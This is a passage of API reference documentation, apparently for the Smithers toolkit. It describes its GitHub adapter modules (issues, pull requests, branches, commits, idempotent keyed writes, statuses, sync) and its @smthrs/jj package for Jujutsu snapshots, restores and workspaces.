| `LinkPullRequest`                                                               | `Action`, tag `integrations/github/link-pr`                   | Adds a closing link through `addCloseIssueReferences`, preserving the description. Existing keywords or manual links are unchanged; unsupported servers fail without editing the body. Keyed. Success: `pullNumber`, `url`, `reference`, `updated`.                                                                                                                                                                                                                                         |
| `layerAddLabels`, `layerUpsertComment`, `layerCheckRun`, `layerLinkPullRequest` | same as `layerCommentOnIssue`                                 | Implement each action over the client in context.                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| `layer`                                                                         | same                                                          | Every GitHub action's implementation in one layer.                                                                                                                                                                                                                                                                                                                                                                                                                                          |

Reconciliation of labels, sticky comments and check runs fails `decode-failed`
before writing when any listed record cannot be decoded.

### GitHub.Issues

Issue and issue-comment operations over the `GitHubClient` in context, plus
the hidden write marker a step adopts its own earlier write by. A step POSTs
once; on a retry after `outcomeUnknown` it calls the finder first, adopts what
it finds, and writes only when nothing carries its marker. The label writes
are idempotent, so a lost answer fails `retryable` rather than
`outcomeUnknown` and a step repeats them without looking first. Coordinates,
label names included, are validated as `Repository.repositoryPath` does.

| Export                                             | Signature                                                                                                                           | Notes                                                                                                                                                                                                                                  |
| -------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `getIssue`                                         | `(owner, repo, number) => Effect<Issue, IntegrationError, GitHubClient>`                                                            | `GET /repos/{owner}/{repo}/issues/{number}`.                                                                                                                                                                                           |
| `listComments`                                     | `(owner, repo, number, options?) => Effect<{ items, truncated }, IntegrationError, GitHubClient>`                                   | Oldest first; `options.since` (ISO 8601) and `options.maxPages` (default 10).                                                                                                                                                          |
| `createIssue`                                      | `(owner, repo, { title, body }) => Effect<Issue, IntegrationError, GitHubClient>`                                                   | `POST /repos/{owner}/{repo}/issues`. A lost answer fails `outcomeUnknown`.                                                                                                                                                             |
| `createComment`                                    | `(owner, repo, number, body) => Effect<IssueComment, IntegrationError, GitHubClient>`                                               | `POST /repos/{owner}/{repo}/issues/{number}/comments`. A lost answer fails `outcomeUnknown`.                                                                                                                                           |
| `findIssueByWrite`                                 | `(owner, repo, { writeId, since }) => Effect<Option<Issue>, IntegrationError, GitHubClient>`                                        | Issues updated since `since`, newest created first, at most `Actions.RECONCILE_PAGES` pages; pull requests skipped. The earliest-created match wins. Running out of pages without a match fails `poll-failed` with `incomplete: true`. |
| `findCommentByWrite`                               | `(owner, repo, number, { writeId, since? }) => Effect<Option<IssueComment>, IntegrationError, GitHubClient>`                        | The same for one issue's comments; without `since`, the whole thread.                                                                                                                                                                  |
| `addLabels`                                        | `(owner, repo, number, names: readonly [string, ...string[]]) => Effect<ReadonlyArray<IssueLabel>, IntegrationError, GitHubClient>` | `POST /repos/{owner}/{repo}/issues/{number}/labels`; answers every label the issue carries after. Each name is 1 to 50 characters.                                                                                                     |
| `removeLabel`                                      | `(owner, repo, number, name) => Effect<boolean, IntegrationError, GitHubClient>`                                                    | `DELETE /repos/{owner}/{repo}/issues/{number}/labels/{name}`. `true` when removed; `false` on a 404, which GitHub also answers for an issue it does not show the token. `.` and `..` are refused.                                      |
| `createLabel`                                      | `(owner, repo, { name, color, description? }) => Effect<boolean, IntegrationError, GitHubClient>`                                   | `POST /repos/{owner}/{repo}/labels`. `true` when created; `false` on a 422, the label exists. `color` is six hex digits without `#`.                                                                                                   |
| `writeMarker`                                      | `(writeId: string) => string`                                                                                                       | `<!-- smithers:write=ID -->`; `ID` is 1 to 100 letters, digits and hyphens, else throws `invalid-config`.                                                                                                                              |
| `withWriteMarker`                                  | `(body: string, writeId: string) => string`                                                                                         | `body`, a blank line, then the marker.                                                                                                                                                                                                 |
| `writeIdOf`                                        | `(body: string \| null \| undefined) => string \| undefined`                                                                        | The last marker's write id; whitespace tolerated.                                                                                                                                                                                      |
| `withoutWriteMarker`                               | `(body: string) => string`                                                                                                          | The body with every marker, and the blank line before it, removed.                                                                                                                                                                     |
| `Issue`, `IssueComment`, `IssueUser`, `IssueLabel` | schemas                                                                                                                             | GitHub's JSON narrowed to the fields Smithers reads; a label to its `name`. A missing `state_reason` decodes as `null` and missing `labels` as `[]`; `pull_request` is present on a pull request.                                      |
| `WRITE_ID_PATTERN`                                 | regex                                                                                                                               | The write id rule.                                                                                                                                                                                                                     |
| `LABEL_COLOR_PATTERN`                              | regex                                                                                                                               | Six hex digits.                                                                                                                                                                                                                        |
| `MAX_LABEL_DESCRIPTION`                            | `100`                                                                                                                               | The longest label description GitHub accepts.                                                                                                                                                                                          |

### GitHub.Contents

A repository file's text over the `GitHubClient` in context. The path and ref
are validated before they become a request, and the base64 GitHub answers is
decoded with `atob` and `TextDecoder`, so it runs in a browser and a Worker.

| Export           | Signature                                                                                             | Notes                                                                                                                                                                                                                                                                                                                                                |
| ---------------- | ----------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `getText`        | `(owner, repo, path, options?: { ref? }) => Effect<Option<TextFile>, IntegrationError, GitHubClient>` | `GET /repos/{owner}/{repo}/contents/{path}?ref=REF`; `Option.none()` on a 404. `path` is relative, with non-empty segments, no `.` or `..` segment, no backslash and no control character; each segment is encoded. Fails `decode-failed` on a directory, symlink, submodule, a file over GitHub's 1 MB contents limit, or bytes that are not UTF-8. |
| `TextFile`       | `{ sha: string; text: string }`                                                                       | The blob SHA and the decoded text.                                                                                                                                                                                                                                                                                                                   |
| `MAX_REF_LENGTH` | `255`                                                                                                 | The longest `ref`; a ref has no spaces or control characters.                                                                                                                                                                                                                                                                                        |

### GitHub.Collaborators

| Export          | Signature                                                                            | Notes                                                                                                                                                                                 |
| --------------- | ------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `permission`    | `(owner, repo, login) => Effect<Option<Permission>, IntegrationError, GitHubClient>` | `GET /repos/{owner}/{repo}/collaborators/{login}/permission`; `Option.none()` on a 404, which GitHub answers for an account that does not exist or a repository the token cannot see. |
| `Permission`    | `{ permission: string; roleName: string; userId?: number }`                          | `permission` is the base role (`admin`, `write`, `read`, `none`); `roleName` may be `maintain`, `triage` or a custom role; `userId` is the account GitHub answered for, when it names one. A login can change hands after a rename; compare `userId` with the id you know. |
| `LOGIN_PATTERN` | regex                                                                                | `Repository.OWNER_PATTERN`'s account name, optionally followed by `[bot]`.                                                                                                            |

### GitHub.Pulls

Pull request operations over the `GitHubClient` in context. Opening a pull
request and submitting a review are not idempotent: mark the body with
`Issues.withWriteMarker`, and after `outcomeUnknown` look first with
`findPullByHead` or `findReviewByWrite`. A merge is fenced by the head SHA the
person saw; a step that may run again merges through `GitHub.Once.merge`, which finds its merge by the key in the
commit message. Closing is idempotent.

| Export                                                       | Signature                                                                                                                | Notes                                                                                                                                                                                                                                                |
| ------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `getPull`                                                    | `(owner, repo, number) => Effect<PullRequest, IntegrationError, GitHubClient>`                                           | `GET /repos/{owner}/{repo}/pulls/{number}`, with merge state and size.                                                                                                                                                                               |
| `listPulls`                                                  | `(owner, repo, options?: { state?, head?, maxPages? }) => Effect<{ items, truncated }, IntegrationError, GitHubClient>`  | Most recently updated first; `state` defaults to `all`; `head` is a branch of the repository itself.                                                                                                                                                 |
| `findPullByHead`                                             | `(owner, repo, { head, writeId? }) => Effect<Option<PullRequest>, IntegrationError, GitHubClient>`                       | The earliest-opened pull request from `head`, carrying `writeId`'s marker when given. A listing that runs out of pages without a match fails `poll-failed` with `incomplete: true`.                                                                  |
| `createPull`                                                 | `(owner, repo, { head, base, title, body, draft? }) => Effect<PullRequest, IntegrationError, GitHubClient>`              | `POST /repos/{owner}/{repo}/pulls`. 422 for no commits, a duplicate or a refused draft. A lost answer fails `outcomeUnknown`.                                                                                                                        |
| `closePull`                                                  | `(owner, repo, number) => Effect<PullRequest, IntegrationError, GitHubClient>`                                           | `PATCH` with `state: closed`; a lost answer fails `retryable`.                                                                                                                                                                                       |
| `setBase`                                                    | `(owner, repo, number, base) => Effect<PullRequest, IntegrationError, GitHubClient>`                                     | `PATCH` with `base`: a stacked pull request moves onto the default branch once the one below merged. Idempotent; a lost answer fails `retryable`; 422 for a missing base or a closed pull request.                                                   |
| `markReady`                                                  | `(owner, repo, nodeId) => Effect<void, IntegrationError, GitHubClient>`                                                  | GraphQL `markPullRequestReadyForReview` on the pull request's `node_id` (REST can't take a pull request out of draft). A lost answer fails `retryable`; a GraphQL error fails `status: 422`.                                                         |
| `mergePull`                                                  | `(owner, repo, number, { sha, method, commitTitle?, commitMessage? }) => Effect<Merged, IntegrationError, GitHubClient>` | `PUT /repos/{owner}/{repo}/pulls/{number}/merge` at exactly `sha`. 409 when the head moved, 405 when not mergeable, 422 for a disallowed method. A lost answer fails `outcomeUnknown`; a step that may run again merges through `GitHub.Once.merge`. |
| `listCommits`, `listReviews`                                 | `(owner, repo, number, options?: { maxPages? }) => Effect<{ items, truncated }, IntegrationError, GitHubClient>`         | Oldest first; at most 3 pages unless `maxPages` says otherwise.                                                                                                                                                                                      |
| `createReview`                                               | `(owner, repo, number, { commitId, event, body }) => Effect<Review, IntegrationError, GitHubClient>`                     | `POST .../reviews` against head `commitId`. `event` is `COMMENT`, `APPROVE` or `REQUEST_CHANGES`; `COMMENT` needs a body. A lost answer fails `outcomeUnknown`.                                                                                      |
| `findReviewByWrite`                                          | `(owner, repo, number, { writeId }) => Effect<Option<Review>, IntegrationError, GitHubClient>`                           | The review whose body carries the marker. A listing that runs out of pages without a match fails `poll-failed` with `incomplete: true`.                                                                                                              |
| `PullRequest`, `PullEnd`, `PullBase`, `PullCommit`, `Review` | schemas                                                                                                                  | GitHub's JSON narrowed to the fields Smithers reads. A listing's missing merge and size fields decode as `false`, `null` or `0`.                                                                                                                     |
| `MergeMethod`, `ReviewEvent`, `Merged`                       | types                                                                                                                    | `squash`, `merge`, `rebase`; the review events; `{ sha, merged }`.                                                                                                                                                                                   |

### GitHub.Refs

Branch refs. Nothing here moves an existing ref, so nothing can force one.

| Export                        | Signature                                                                                                        | Notes                                                                                                                                                                          |
| ----------------------------- | ---------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `getBranch`                   | `(owner, repo, name) => Effect<Option<Branch>, IntegrationError, GitHubClient>`                                  | `GET /repos/{owner}/{repo}/git/ref/heads/{name}`; `Option.none()` on a 404.                                                                                                    |
| `listBranches`                | `(owner, repo, prefix, options?: { maxPages? }) => Effect<{ items, truncated }, IntegrationError, GitHubClient>` | `GET /repos/{owner}/{repo}/git/matching-refs/heads/{prefix}`, at most 10 pages unless `maxPages` says otherwise. `prefix` follows the branch rules but may end in `-` or `/`.  |
| `createBranch`                | `(owner, repo, { name, sha }) => Effect<Branch, IntegrationError, GitHubClient>`                                 | `POST /repos/{owner}/{repo}/git/refs`. 422 when the branch exists. A lost answer fails `outcomeUnknown`; a step that may run again makes its branch with `GitHub.Once.branch`. |
| `isBranch`, `requireBranch`   | `(name) => boolean`, `(name) => Effect<string, IntegrationError>`                                                | 1 to 200 characters of letters, digits, `.`, `_`, `-` and `/`, in segments that are not empty, don't start with `.` and don't end with `.lock`, with no `..`.                  |
| `Branch`, `MAX_BRANCH_LENGTH` | `{ name, sha }`, `200`                                                                                           |                                                                                                                                                                                |

### GitHub.Commits

| Export                                                   | Signature                                                                                                                             | Notes                                                                                                                                                                                                                                                                                                                                                                                  |
| -------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `createOnBranch`                                         | `(owner, repo, { branch, expectedHeadOid, headline, body?, additions, deletions }) => Effect<string, IntegrationError, GitHubClient>` | GraphQL `createCommitOnBranch` (`POST /graphql`), fenced by `expectedHeadOid`; answers the new SHA. Each addition is a whole file, base64; 1 to 1,000 changes. A moved branch fails `status: 409, stale: true`, any other GraphQL error `status: 422`, neither retryable. A lost answer fails `outcomeUnknown`; a step that may run again writes through `GitHub.Once.commitOnBranch`. |
| `mergeInto`                                              | `(owner, repo, { base, head, commitMessage? }) => Effect<MergedInto, IntegrationError, GitHubClient>`                                 | `POST /repos/{owner}/{repo}/merges`: merges branch or SHA `head` into branch `base`, never a rebase, so nothing is forced. Answers `{ kind: "merged", sha }`, or `{ kind: "upToDate" }` when `base` already holds `head` (204), so a lost answer fails `retryable`. 409 for a conflict, 404 for a missing branch or head, neither retryable.                                           |
| `getCommit`                                              | `(owner, repo, sha) => Effect<GitCommit, IntegrationError, GitHubClient>`                                                             | `GET /repos/{owner}/{repo}/git/commits/{sha}`: tree, parents and message.                                                                                                                                                                                                                                                                                                              |
| `compare`                                                | `(owner, repo, base, head) => Effect<Comparison, IntegrationError, GitHubClient>`                                                     | `GET /repos/{owner}/{repo}/compare/{base}...{head}` with two SHAs, so the answer never changes. `truncated` when GitHub listed `MAX_COMPARE_FILES` (300) files.                                                                                                                                                                                                                        |
| `FileAddition`, `GitCommit`, `ChangedFile`, `Comparison` | types and schemas                                                                                                                     | A changed file's `patch` is absent for a binary or very large file.                                                                                                                                                                                                                                                                                                                    |

### GitHub.Once

GitHub writes a durable step makes once and finds again by its key, for
`Action.once` from `@smthrs/flow`. Each is an `Action.Keyed`: `perform(key)`
writes the step's key onto the object in the request that creates it, and
`find(key)` finds the object by that key alone, never by its title, message,
name, parent or age. A lookup that runs out of pages fails `poll-failed` with
`incomplete: true` rather than answer none.

```ts
const sha = yield * Action.once("commit", GitHub.Once.commitOnBranch(owner, repo, change))
```

| Export                                                                      | Signature                                                                                                                            | Notes                                                                                                                                                                                                                                                                                                                          |
| --------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `branch`                                                                    | `(owner, repo, { prefix, label, at }) => Keyed<Branch, IntegrationError \| E, GitHubClient \| R>`                                    | Named `prefix`, `label`, `-`, then the key's first 12 hex digits; found among the branches under `prefix` by that suffix, whatever the label. `at: Effect<string, E, R>` is read only when the branch is made.                                                                                                                 |
| `commitOnBranch`                                                            | `(owner, repo, { branch, expectedHeadOid, headline, body?, additions, deletions }) => Keyed<string, IntegrationError, GitHubClient>` | The message ends with `Smithers-Write: <key>`. Found as the branch head carrying that trailer; a branch at `expectedHeadOid` holds none, and any other head fails `status: 409, stale: true`.                                                                                                                                  |
| `pull`                                                                      | `(owner, repo, { head, base, title, body, draft? }) => Keyed<PullRequest, IntegrationError, GitHubClient>`                           | The body carries the write marker; found among every pull request from `head`.                                                                                                                                                                                                                                                 |
| `issue`                                                                     | `(owner, repo, { title, body, since }) => Keyed<Issue, IntegrationError, GitHubClient>`                                              | Found among the issues updated since `since`, a time before the first attempt that every attempt agrees on.                                                                                                                                                                                                                    |
| `comment`                                                                   | `(owner, repo, number, body) => Keyed<IssueComment, IntegrationError, GitHubClient>`                                                 | Found in the whole thread.                                                                                                                                                                                                                                                                                                     |
| `review`                                                                    | `(owner, repo, number, { commitId, event, body }) => Keyed<Review, IntegrationError, GitHubClient>`                                  | Found among every review.                                                                                                                                                                                                                                                                                                      |
| `merge`                                                                     | `(owner, repo, number, { sha, method, commitTitle?, commitMessage? }) => Keyed<Merged, IntegrationError, GitHubClient>`              | Merges at head `sha` with `Smithers-Write: <key>` at the end of the commit message. Found as the pull request's merge commit carrying that trailer; a merge without it is someone else's. A rebase writes no message to carry the key, so a rebase merge is never found: a lost answer reads as a pull request someone merged. |
| `withTrailer`, `trailerKeyOf`, `branchName`, `TRAILER`, `BRANCH_KEY_LENGTH` | helpers                                                                                                                              | The trailer and the branch name the adapters write.                                                                                                                                                                                                                                                                            |

### GitHub.Statuses

Write-only commit statuses over the `GitHubClient` in context: a check's state
on one exact commit, which branch protection can require by its context. An
App's installation token needs `statuses: write`. Repeating a status changes
nothing anyone reads, so a lost answer fails `retryable`, never
`outcomeUnknown`.

| Export                               | Signature                                                                                                            | Notes                                                                                                                                                                                                                                                                                                                        |
| ------------------------------------ | -------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `create`                             | `(owner, repo, sha, { state, context, description?, targetUrl? }) => Effect<Status, IntegrationError, GitHubClient>` | `POST /repos/{owner}/{repo}/statuses/{sha}`. `sha` is 40 or 64 lowercase hex digits; a longer description is cut to `MAX_DESCRIPTION`; `targetUrl` is an absolute `https:` URL. 403 or 404 for a token without the permission or a repository it can't see, 422 for a commit GitHub doesn't have: passed through, unretried. |
| `STATES`, `State`                    | `["pending", "success", "failure", "error"]`                                                                         |                                                                                                                                                                                                                                                                                                                              |
| `CONTEXT_PATTERN`, `MAX_DESCRIPTION` | regex, `140`                                                                                                         | 1 to 255 printable characters, without leading or trailing space.                                                                                                                                                                                                                                                            |
| `Status`, `Input`                    | schema, type                                                                                                         | GitHub's answer narrowed to `id`, `state`, `context`, `description`, `target_url` and `created_at`.                                                                                                                                                                                                                          |

### GitHub.Sync

`make(options)` is a `Core.Sync` adapter over one repository's issues, pull
requests, and issue comments, paged by change time so an item edited during a
walk is met again. External ids use the numeric repository id
(`repo:<id>:issue:<number>`, `repo:<id>:comment:<id>`); `issueId` and
`commentId` build them. Public repositories give `public` records, private
ones `container`-scoped records. Deletions are not listed by GitHub; run a
`fullListing` adapter periodically or map the deletion webhooks to
tombstones. A rate limit or a transient read failure fails the run once,
`retryable`; run the sync as a durable step whose retry policy repeats it, and
the repeat resumes from the committed cursor.

---

# @smthrs/jj
https://smithers.sh/docs/reference/api/jj/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/jj/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/jj/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/jj/docs)

> **Related APIs:** [`@smthrs/canonical`](/docs/reference/api/canonical/) · [`@smthrs/capability`](/docs/reference/api/capability/)

One program, three layers. The body never changes; the import at the top decides
which adapter runs it.

```ts
// Node
import { Jj } from "@smthrs/jj"
import * as NodeJj from "@smthrs/jj/node/NodeJj"
import * as Effect from "effect/Effect"

const program = Effect.gen(function*() {
  const jj = yield* Jj
  return yield* jj.snapshot("before the step")
}).pipe(Effect.provide(NodeJj.layer))
```

```ts
// Bun
import { Jj } from "@smthrs/jj"
import * as BunJj from "@smthrs/jj/bun/BunJj"
import * as Effect from "effect/Effect"

const program = Effect.gen(function*() {
  const jj = yield* Jj
  return yield* jj.snapshot("before the step")
}).pipe(Effect.provide(BunJj.layer))
```

```ts
// Browser
import { Jj } from "@smthrs/jj"
import * as BrowserJj from "@smthrs/jj/browser/BrowserJj"
import * as Effect from "effect/Effect"

const makeProgram = (options: BrowserJj.BrowserJjOptions) =>
  Effect.gen(function*() {
    const jj = yield* Jj
    return yield* jj.snapshot("before the step")
  }).pipe(Effect.provide(BrowserJj.layer(options)))
```

The package root holds the contract, its error, and the no-op layer only, so it
bundles for the browser. Implementations live under `/node`, `/bun`, and
`/browser`. The package shares its `effect` peer with the host and depends on
`@smthrs/capability` (its error channel names
`Permission.PermissionError`); [`@smthrs/kernel`](/docs/reference/api/kernel/) depends on it,
because `Jj` is one of the tags in the closed host list.

## @smthrs/jj

The root entry point re-exports every member of `Jj.ts` flat.

### The Jj service

`Jj` is deliberately small: only the operations that make a step reversible.
`snapshot`, `restore`, `diff`, `workspaceAdd`, `workspaceForget`, and `status`
are required of every backend. `root`, `revert`, and `opRestore` are optional
on the type, so a hand-written test double may leave them out.

| Member                                | Signature                                                                                       |
| ------------------------------------- | ----------------------------------------------------------------------------------------------- |
| `snapshot(message?)`                  | `(message?: string) => Effect<Snapshot, JjFailure>`                                             |
| `restore(revision)`                   | `(revision: Revision) => Effect<void, JjFailure>`                                               |
| `diff(from, to)`                      | `(from: Revision, to: Revision) => Effect<string, JjFailure>`                                   |
| `workspaceAdd(name, path, revision?)` | `(name: string, path: string, revision?: Revision) => Effect<void, JjFailure \| PlatformError>` |
| `workspaceForget(name)`               | `(name: string) => Effect<void, JjFailure>`                                                     |
| `status()`                            | `() => Effect<string, JjFailure>`                                                               |
| `root(from)` (optional)               | `(from: string) => Effect<string, JjFailure \| PlatformError>`                                  |
| `revert(revision)` (optional)         | `(revision: Revision) => Effect<{ readonly reverted: ReadonlyArray<string> }, JjFailure>`       |
| `opRestore(operationId)` (optional)   | `(operationId: OperationId) => Effect<void, JjFailure>`                                         |

`snapshot` captures the working copy and returns `{ commitId, changeId,
operationId? }`. Restore to `commitId`: it is content addressed, and jj
resolves it even after later edits rewrite the working copy and hide it.
`changeId` is for display; a later rewrite such as `jj squash` moves it to a
different tree. `operationId` is the jj operation that recorded the capture;
Node, Bun, and the browser layer report it.

`restore` puts the working copy back to `revision`, replacing the tree rather
than merging into it. `diff` is a git-format unified diff between two
revisions. `workspaceAdd` adds a named workspace rooted at `path`, one lane per
parallel agent; with `revision` its new change holds that revision's tree on the
revision's parents. `workspaceForget` drops
a named workspace without touching the commits made in it or the directory on
disk. `status` returns the working copy's status as jj prints it.

`root` answers `jj root` for the directory containing `from`, which is correct
for colocated repositories and secondary workspaces that a walk up looking for
`.jj` would get wrong. `revert` applies the reverse of one change and reports
the paths it touched.

`restore` and `revert` exist because one cannot express the other. `restore`
discards everything committed after the recorded point. `revert` undoes one
change and keeps the rest, which is what an operator means by "undo that
attempt".

`opRestore` runs `jj op restore`: the whole repository view returns to the
operation, so bookmark moves, rebases, `describe`, and `abandon` made after it
are undone along with the tree. Node and Bun restore `--what=repo`, so what jj
knows about remotes is kept, and refuse with `conflict` when any other
workspace was added or moved after the operation, because the restore would
reset or drop it. It accepts only a hex operation id, and an id jj does not
know fails `invalid_ref`.

`PlatformError` is in two error channels because the guarded implementation
canonicalizes a path against the workspace root before it asks for a
capability, and resolving a path is a filesystem operation that can itself fail.

Every layer this package ships defines the optional members anyway, and
answers `not_installed` in the error channel where the backend cannot perform
them. **Feature detection is by error code, never by property absence**:
`"revert" in jj` is true for `makeNoop`, for `BrowserJj.make`, and for
`BrowserJj.layerUnsupported` alike, so a caller that needs to know asks and
reads the code it gets back. An absent capability is a capability with an
answer.

The optional operations are capability-checked like every other one:
`jj:root` is `sealed`, and `jj:revert` and `jj:op-restore` are `compensable`.

### Service construction

| Export                 | Signature                               | Meaning                                                                                                             |
| ---------------------- | --------------------------------------- | ------------------------------------------------------------------------------------------------------------------- |
| `Jj`                   | `Context.Service<Jj, Jj>`               | The service key. The tag string is `"@smthrs/jj/Jj"` and is durable identity.                                       |
| `make(impl)`           | `(impl: Jj) => Jj`                      | Brands an implementation as the service, so a new backend is checked where it is written.                           |
| `makeNoop(overrides)`  | `(overrides: Partial<Jj>) => Jj`        | A stub whose every unoverridden method fails `not_installed`, naming the method called.                             |
| `layerNoop(overrides)` | `(overrides: Partial<Jj>) => Layer<Jj>` | `makeNoop` as a layer.                                                                                              |
| `ChangeId`             | `type ChangeId = string`                | A moving display pointer for a change; use the snapshot's immutable `commitId` to restore recorded workspace state. |

### Failures

| Export                | Signature                                                                                                                                             | Meaning                                                                                                                  |
| --------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------ |
| `JjErrorCode`         | `Schema.Literals<["not_installed", "conflict", "invalid_ref", "snapshot_refused", "stale_workspace", "unsupported_version", "unknown"]>` and the type | The closed reason vocabulary.                                                                                            |
| `JjError`             | `class JjError` with `_tag` `"@smthrs/jj/JjError"`                                                                                                    | A jj failure, shaped after `effect/PlatformError`.                                                                       |
| `jjError(options)`    | `(options: { code: JjErrorCode; module?: string; method: string; description?: string; command?: string }) => JjError`                                | Composes the human message from the code, the failing `module.method`, and the description. `module` defaults to `"Jj"`. |
| `isJjError(error)`    | `(error: unknown) => error is JjError`                                                                                                                | Tells "jj said no" from "the capability kernel said no" without matching `_tag` by hand.                                 |
| `JjFailure`           | `type JjFailure = JjError \| Permission.PermissionError`                                                                                              | Everything a `Jj` operation can fail with.                                                                               |
| `JjErrorCause`        | `Schema.Struct<{ name?: string; code?: string; message: string }>` and the type                                                                       | The plain-data projection of an underlying host failure.                                                                 |
| `jjErrorCause(cause)` | `(cause: unknown) => JjErrorCause`                                                                                                                    | Projects an arbitrary host failure onto that shape, truncating each field to fit.                                        |
| `causeMessageLimit`   | `1024`                                                                                                                                                | How many characters each string in a `JjErrorCause` keeps.                                                               |

`JjError` carries a stable `code`, the `module` and `method` that failed, a
human `message`, the `command` that produced it, and an optional `cause`.

The codes are a stable public contract: callers branch on them, step keys
digest them, and user interfaces map them to remediation, so a code is added
and never repurposed. `not_installed` means no usable jj on this host,
`conflict` that the repository refused because the operation would conflict,
`invalid_ref` that the change id or revision does not resolve, `snapshot_refused`
that jj skipped files, `unsupported_version` that the CLI does not meet the
minimum, and `unknown` everything else. Node and Bun produce the two CLI-specific
codes; both adapters agree on their shared failures, and
[test/LayerParity.test.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/jj/test/LayerParity.test.ts)
drives one table of inputs through both and asserts they agree.

`cause` is a projection, not the host failure itself. `JjError` round-trips
through the journal, and an `Error` serializes to `{}` because its `message` and
`stack` are not enumerable, so the underlying failure is copied onto the three
fields of `JjErrorCause` (`name`, `code`, `message`) at construction. The schema
bounds every field by `causeMessageLimit`. The `JjError` constructor and the
journal decoder reject an over-length field; `jjErrorCause` is the supported
projection and truncates each field to fit.

## Implementations

Implementations are **not** root exports. The root is the portable contract and
bundles for the browser; each implementation is imported from its own subpath.

### @smthrs/jj/node/NodeJj

`NodeJj` shells out to the `jj` CLI with argv arrays and never a shell string.
It ships four layers, and they differ along two axes.

| Export                           | Signature                                                           | Process ownership | Repository      |
| -------------------------------- | ------------------------------------------------------------------- | ----------------- | --------------- |
| `layer`                          | `Layer<Jj>`                                                         | Its own child     | The process cwd |
| `layerAt(repositoryRoot)`        | `(repositoryRoot: string) => Layer<Jj>`                             | Its own child     | Bound, absolute |
| `layerSpawner`                   | `Layer<Jj, never, ChildProcessSpawner>`                             | The host spawner  | The process cwd |
| `layerSpawnerAt(repositoryRoot)` | `(repositoryRoot: string) => Layer<Jj, never, ChildProcessSpawner>` | The host spawner  | Bound, absolute |

Who owns the child process: `layer` spawns through `node:child_process`
directly, because a host must be able to checkpoint work where a spawner is
unavailable, sandboxed, or gated behind a `proc:spawn` grant the user has not
given. `layerSpawner` spawns through Effect's `ChildProcessSpawner`, so whatever
decorates that service decorates jj too: the child lands in a recorded process
group, in `@smthrs/kernel`'s `ProcessLedger`, and within reach of the reaper
that sweeps a crashed incarnation. `@smthrs/platform-node`'s contained host
bundle uses that one. Both share one command vocabulary and one classification,
so routing jj through a spawner changes nothing a caller can observe.

Which repository: `layerAt` and `layerSpawnerAt` bind jj to one absolute
repository root, so a later change to `process.cwd()` cannot redirect snapshots,
restores, or diffs into another checkout. A relative `path` handed to
`workspaceAdd` then resolves against that root rather than the caller's working
directory, so pass absolute lane paths. `root(from)` is exempt from the binding
by design, because its argument names the directory jj must run in. A relative
root is a wiring mistake and throws a `TypeError` at construction.

Node and Bun `snapshot` capture without closing a change: `jj op log -n1 -T id`
snapshots the working copy and names the operation, and `jj log --at-op` reads
`@` at exactly that operation. Nothing is committed, described, or opened, so a
compensable attempt leaves no change of its own in the log, and the message is
not written to the repository. Browser snapshots preserve the current change
and description too, and report the operation id through the WASM ABI.

Repository operations are fenced as a unit, including `status`, which can
snapshot. Each holds workspace and shared-store permits, with exclusive
`.jj/smithers.lock` and store `smithers.lock` owner directories across
processes. `root(from)` fences its actual directory, preserving its exemption
from the layer's bound root. The default 120-second deadline bounds acquisition of both fences only.
Once acquired, execution can outlast the deadline; caller cancellation and
operation failure release both permits. A caller
records lock owners as `hostname-pid-random` and reclaims only an owner on the
same host whose process is dead. Permission-denied probes count as alive;
foreign-host and legacy owner markers require operator cleanup.

A store-pointer read failure during configuration inspection is refused
before jj starts. Its `JjError` retains the original cause and releases both
fences. An absent `.jj` directory remains the ordinary CLI's unsupported-root
case; absence is distinct from an unreadable pointer.

The store permit is shared by every workspace of the repository.
A restore therefore either sees an added workspace and refuses with `conflict`,
or completes before the add runs.

`withRepositoryMutation(method, from, effect)` exposes this coordination to
host adoption, and `NodeJj.layerRepositoryMutation` provides it as the root's
`RepositoryMutation` service, whose `run(method, from, effect)` platform-neutral
code such as `@smthrs/sandbox`'s `SandboxMerge.apply` requires instead of
importing the Node adapter. `RepositoryMutationTimeoutMs` is a Context reference with a
default of `120000`, bounding acquisition only. The protected effect must not call another fenced
operation on the same store; internal compound operations use their raw
command runner while holding the outer permits.

`isGitLockContention({ message })` is a pure classifier exported from the root.
It confirms shared Git `index.lock` acquisition failures and ref-lock contention,
and excludes private-index, permission and conflict errors. It never executes,
waits, retries, or removes an active lock. Use the classification at a durable
action boundary with an engine `RetryPolicy`; `SandboxMerge.Apply` does this
for recoverable sandbox application. The former `retryGitIndexLock` effect
wrapper is removed; callers must move retries to the durable layer.

Snapshot messages are opaque strings on both browser and CLI layers, including
empty strings, leading `-`, quotes, and newlines. Node and Bun never pass them
to jj; workspace names and paths use `--name=` and `--` so option-like values
are not interpreted as CLI flags.

Node and Bun require **jj 0.39.0 or newer**, pinned by the exported
`NodeJj.minimumVersion` constant. Building a CLI layer spawns nothing and never
fails, so a program that never calls `Jj` runs on a host without jj. The layer
selects the absolute host executable when it is built, and the first operation
awaits a `jj --version` probe through the same runner used for operations. The
